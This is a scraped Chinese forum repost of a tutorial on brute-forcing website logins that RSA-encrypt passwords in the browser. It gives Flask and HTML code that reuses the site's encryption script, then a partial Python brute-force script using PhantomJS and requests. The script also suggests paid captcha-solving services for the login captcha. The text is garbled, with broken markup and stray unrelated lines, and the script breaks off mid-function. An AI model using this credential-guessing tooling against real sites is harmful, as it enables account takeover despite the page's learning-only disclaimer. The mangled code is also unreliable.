如何将 时尚健康 的水印拍大师怎么去除水印 求大

对登录中账号密码进行加密之后再传输的爆破的思路和方式
if __name__ == '__main__':
&&& app.run(debug=True)
&index.html 的代码:
html lang=&en&&
&&& meta charset=&UTF-8&&
&&& title&Titletitle&
form method=&post& action=&/&&
&&& modulus:input type=&text& name=&modulus& id=&modulus&/&br&
&&& exponent:input type=&text& name=&exponent& id=&exponent&/&br&
&&& password:input type=&text& name=&password& id=&password&/&br&
&&& button type=&submit&&submitbutton&
result.html 的代码:
html lang=&en&&
&&& meta charset=&UTF-8&&
&&& title&Titletitle&
&&& script src=&static/security.js&&script&
p id=&modulus& style=&display: none&&{{ modulus }}p&br&
p id=&exponent& style=&display: none&&{{ exponent }}p&br&
p id=&result&&Hello World!p&
这个 js 脚本就是图七中加密的过程的精简
&&& var RSAPUB_KEY = '';
&&& var enpassword = '';
&&& var modulus = document.getElementById('modulus').textC
&&& var exponent = document.getElementById('exponent').textC
&&& RSAPUB_KEY = RSAUtils.getKeyPair(exponent, '', modulus);
&&& enpassword = RSAUtils.encryptedString(RSAPUB_KEY, encodeURIComponent('{{ password }}'));
&&& document.getElementById(&result&).innerHTML =
&&& console.log(enpassword);
server 运行起来之后打开的效果:
下图是最后的运行结果,这也是我们需要的加密之后的值
接着就是爆破的脚本brute.py通过python的request模块实现:
# -*- coding:utf-8 -*-
from selenium import webdriver
import requests
import json
class INFO:
&&& HEADER = '\033[95m'
&&& OKBLUE = '\033[94m'
&&& OKGREEN = '\033[92m'
&&& WARNING = '\033[93m'
&&& ARNING = '\033[93m'
&&& FAIL = '\033[91m'
&&& ENDC = '\033[0m'
&&& BOLD = '\033[1m'
&&& UNDERLINE = '\033[4m'
&&& def __init__(self):
&&&&&&& self.SUCCESS = self.OKGREEN + self.BOLD + 'Found SUCCESS!' + self.ENDC
&&&&&&& self.FAILED = self.FAIL + self.BOLD + 'Found FAILED!' + self.ENDC
driver = webdriver.PhantomJS(executable_path=&phantomjs&)
session = ''
def get_pubkey():
&&& pubkey_url = 'https://xxx.xxxxx.xxx'#这里就是图三和图四所说的登录之前都要先获取的modulus和exponent字段的 url, 其实这 get_pubkey 都不需要,最后发现每次请求的modulus和exponent都没有变。
&&& response_pub = requests.post(pubkey_url)
&&& txt = json.loads(response_pub.content)
&&& modulus = txt['modulus']
&&& exponent = txt['exponent']
&&& return modulus, exponent
#定义的get_enrsapassword函数就是获取加密之后的 password 值,这里利用PhantomJS对之前搭建的小型 server 的 index.html 和 result.html 页面进行渲染。
def get_enrsapassword(modulus, exponent, password):
&&& driver.get('http://127.0.0.1:5000')
&&& driver.find_element_by_id('modulus').send_keys(modulus)
&&& driver.find_element_by_id('exponent').send_keys(exponent)
&&& driver.find_element_by_id('password').send_keys(password)
&&& driver.find_element_by_tag_name('button').click()
&&& return driver.find_element_by_id('result').text#最后得到就是加密之后的 password 值
def verifyCode(session, url):
&&& #打验码的代码省略,因为这里涉及到自己打码平台的信息,账号密码等等,所以省略,验证码简单大家可以使用开源的 OCR 或者付费购买打码平台,很便宜。
&&& return verifyCode
def login_snmoblie(session, username, enrsapassword, password):
&&& login_url = 'https://aa.bb.cccc.ddd/xxxxxxx'&&&[2]&&&&
【声明】:黑吧安全网()登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱,我们会在最短的时间内进行处理。
上一篇:【】【】

我要回帖

更多关于 格式大师能去除水印吗 的文章

 

随机推荐